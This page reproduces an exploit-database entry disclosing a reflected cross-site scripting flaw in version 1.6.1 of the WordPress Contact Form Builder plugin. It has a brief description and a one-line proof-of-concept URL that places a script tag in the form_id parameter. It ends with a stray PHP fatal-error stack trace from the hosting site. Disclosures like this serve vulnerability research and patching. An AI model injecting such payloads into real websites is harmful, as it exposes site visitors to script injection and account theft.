Wordpress plugin contact form builder 1.6.1 crosssite scripting (xss) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-02-10 | Type : webapps | Platform : php


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# Exploit Title: Wordpress Plugin Contact Form Builder 1.6.1 - Cross-Site Scripting (XSS)
# Date: 2022-02-07
# Author: Milad karimi
# Software Link: https://wordpress.org/plugins/contact-forms-builder/
# Version: 1.6.1
# Tested on: Windows 11
# CVE: N/A

1. Description:
This plugin creates a Contact Form Builder from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/code_generator.php?form_id=<script>alert('xss')</script>


Fatal error: Uncaught mysqli_sql_exception: Too many connections in /var/www/html/_dbconfig.inc.php:45 Stack trace: #0 /var/www/html/_dbconfig.inc.php(45): mysqli->__construct() #1 /var/www/html/_footer.inc.php(2): require('...') #2 /var/www/html/security/exploits-vulnerability/vuln.php(218): require('...') #3 {main} thrown in /var/www/html/_dbconfig.inc.php on line 45